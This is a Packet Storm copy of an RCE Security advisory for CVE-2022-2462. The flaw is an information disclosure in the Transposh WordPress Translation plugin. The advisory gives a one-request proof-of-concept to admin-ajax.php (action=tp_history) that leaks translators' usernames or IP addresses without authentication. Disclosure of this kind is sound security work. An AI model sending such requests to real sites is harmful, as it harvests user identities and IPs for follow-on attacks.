

## Transposh WordPress Translation 1.0.8.1 Information Disclosure

Authored by [Julien Ahrens](#) | Site [rcesecurity.com](#)

Posted Jul 29, 2022

Transposh WordPress Translation versions 1.0.8.1 and below have an ajax action called "tp\_history" which is intended to return data about who has translated a text given by the "token" parameter. However, the plugin also returns the user's login name as part of the "user\_login" attribute. Successful exploits can allow an unauthenticated attacker to leak the WordPress username of translators. If an anonymous user submitted the translation, then the user's IP address is returned.

tags | [exploit](#), [info disclosure](#)

advisories | [CVE-2022-2462](#)

SHA-256 | [9edfbd7e51dbf96c4ec365750f8acbcd5e0bcb40dfa07245a905258f418c9681](#) [Download](#) | [Favorite](#) | [View](#)

### Related Files

### Share This

Like 0

Tweet

LinkedIn

Reddit

Digg

StumbleUpon

### Change Mirror

[Download](#)

RCE Security Advisory  
<https://www.rcesecurity.com>

#### 1. ADVISORY INFORMATION

Product: Transposh WordPress Translation  
Vendor URL: <https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/>  
Type: Exposure of Sensitive Information to an Unauthorized Actor [CWE-200]  
Date found: 2022-07-13  
Date published: 2022-07-22  
CVSSv3 Score: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)  
CVE: CVE-2022-2462

#### 2. CREDITS

This vulnerability was discovered and researched by Julien Ahrens from RCE Security.

#### 3. VERSIONS AFFECTED

Transposh WordPress Translation 1.0.8.1 and below

#### 4. INTRODUCTION

Transposh translation filter for WordPress offers a unique approach to blog translation. It allows your blog to combine automatic translation with human translation aided by your users with an easy to use in-context interface.

(from the vendor's homepage)

#### 5. VULNERABILITY DETAILS

Transposh offers an ajax action called "tp\_history" which is intended to return data about who has translated a text given by the "token" parameter. However, the plugin also returns the user's login name as part of the "user\_login" attribute.

Successful exploits can allow an unauthenticated attacker to leak the WordPress username of translators. If an anonymous user submitted the translation, then the user's IP address is returned.

#### 6. PROOF OF CONCEPT

The following Proof-of-Concept returns the information of the translated text "Calendly URL":

```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [host]
Content-Length: 36
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0
Connection: close
```

```
action=tp_history&token=Calendly%20URL&lang=en
```

#### 7. SOLUTION

None. Remove the plugin to prevent exploitation.

#### 8. REPORT TIMELINE



Follow us on Twitter



Subscribe to an RSS Feed

### File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

### Top Authors In Last 30 Days

**Red Hat** 186 files

**Ubuntu** 52 files

**Gentoo** 44 files

**Debian** 27 files

**Apple** 25 files

**Google Security Research** 14 files

**malvuln** 10 files

**nu11secuR1ty** 6 files

**mjrczyk** 4 files

**George Tsimpidas** 3 files

### File Tags

ActiveX (932)

Advisory (79,557)

Arbitrary (15,643)

BBS (2,859)

Bypass (1,615)

CGI (1,015)

Code Execution (6,913)

Conference (672)

Cracker (840)

CSRF (3,288)

DoS (22,541)

Encryption (2,349)

Exploit (50,293)

File Inclusion (4,162)

File Upload (946)

Firewall (821)

Info Disclosure (2,656)

### File Archives

November 2022

October 2022

September 2022

August 2022

July 2022

June 2022

May 2022

April 2022

March 2022

February 2022

January 2022

December 2021

Older

### Systems

AIX (426)

Apple (1,926)

=====

2022-07-13: Discovery of the vulnerability  
2022-07-13: CVE requested from WPScan (CNA)  
2022-07-18: No response from WPScan  
2022-07-18: CVE requested from Wordfence (CNA) instead  
2022-07-18: Sent note to vendor  
2022-07-18: Wordfence assigns CVE-2022-2462  
2022-07-20: Vendor states that there is no update planned so far  
2022-07-22: Public disclosure

9. REFERENCES

=====

<https://github.com/MrTuxracer/advisories>

[Login](#) or [Register](#) to add favorites

[Intrusion Detection \(866\)](#) [BSD \(370\)](#)  
[Java \(2,888\)](#) [CentOS \(55\)](#)  
[JavaScript \(817\)](#) [Cisco \(1,917\)](#)  
[Kernel \(6,255\)](#) [Debian \(6,620\)](#)  
[Local \(14,173\)](#) [Fedora \(1,690\)](#)  
[Magazine \(586\)](#) [FreeBSD \(1,242\)](#)  
[Overflow \(12,390\)](#) [Gentoo \(4,272\)](#)  
[Perl \(1,417\)](#) [HPUX \(878\)](#)  
[PHP \(5,087\)](#) [iOS \(330\)](#)  
[Proof of Concept \(2,290\)](#) [iPhone \(108\)](#)  
[Protocol \(3,426\)](#) [IRIX \(220\)](#)  
[Python \(1,449\)](#) [Juniper \(67\)](#)  
[Remote \(30,009\)](#) [Linux \(44,118\)](#)  
[Root \(3,496\)](#) [Mac OS X \(684\)](#)  
[Ruby \(594\)](#) [Mandriva \(3,105\)](#)  
[Scanner \(1,631\)](#) [NetBSD \(255\)](#)  
[Security Tool \(7,768\)](#) [OpenBSD \(479\)](#)  
[Shell \(3,098\)](#) [RedHat \(12,339\)](#)  
[Shellcode \(1,204\)](#) [Slackware \(941\)](#)  
[Sniffer \(885\)](#) [Solaris \(1,607\)](#)  
[Spoof \(2,165\)](#) [SUSE \(1,444\)](#)  
[SQL Injection \(16,089\)](#) [Ubuntu \(8,147\)](#)  
[TCP \(2,377\)](#) [UNIX \(9,150\)](#)  
[Trojan \(685\)](#) [UnixWare \(185\)](#)  
[UDP \(875\)](#) [Windows \(6,504\)](#)  
[Virus \(661\)](#) [Other](#)  
[Vulnerability \(31,104\)](#)  
[Web \(9,329\)](#)  
[Whitepaper \(3,728\)](#)  
[x86 \(946\)](#)  
[XSS \(17,478\)](#)  
[Other](#)



© 2022 Packet Storm. All rights reserved.

## Site Links

[News by Month](#)

[News Tags](#)

[Files by Month](#)

[File Tags](#)

[File Directory](#)

## About Us

[History & Purpose](#)

[Contact Information](#)

[Terms of Service](#)

[Privacy Statement](#)

[Copyright Information](#)

## Hosting By

[Rokasec](#)



[Follow us on Twitter](#)



[Subscribe to an RSS Feed](#)